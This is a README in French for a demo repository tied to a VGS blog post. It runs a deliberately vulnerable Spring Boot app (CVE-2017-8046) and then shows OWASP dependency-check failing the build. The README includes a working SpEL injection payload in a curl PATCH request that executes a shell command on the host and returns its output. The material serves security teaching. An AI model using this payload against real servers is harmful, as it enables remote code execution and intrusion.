
Démontre l'exploitation de CVE-2017-8046 dans une application Spring Boot, y compris une charge utile d'injection SpEL et la vérification par dépendance-check pour les composants vulnérables.
AVERTISSEMENT : Ce dépôt est complémentaire à l'article de blog VGS, Comment éviter d'utiliser des composants avec des vulnérabilités connues. Il contient une application avec une vulnérabilité de sécurité connue (à savoir, CVE-2017-8046), ainsi que la description de comment l'exploiter. Utilisez l'application à vos risques et périls !
Tout d'abord, démarrez l'application en exécutant la commande suivante depuis la racine du dépôt :
mvn clean spring-boot:run
Ensuite, créez une ressource en envoyant une requête POST comme ceci :
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
À condition que vous exécutiez l'application sur un système d'exploitation de type Unix (par ex. macOS), la réponse contiendra la configuration réseau de l'hôte. En fait, toute expression SpEL peut être utilisée.
mvn clean package verify
La compilation échouera car une dépendance a été identifiée comme présentant une vulnérabilité à haut risque :
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
Vous voulez vous lancer directement ? Consultez notre guide de démarrage.
Very Good Security (VGS) vous permet d'améliorer votre posture de sécurité tout en conservant l'utilité de vos données en interne et avec des tiers. En prime, nous accélérons votre processus de certification de conformité et vous aidons à obtenir rapidement les conformités liées à la sécurité qui se dressent entre vous et vos opportunités de marché.
Pour en savoir plus, rendez-vous sur https://www.verygoodsecurity.com/
Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.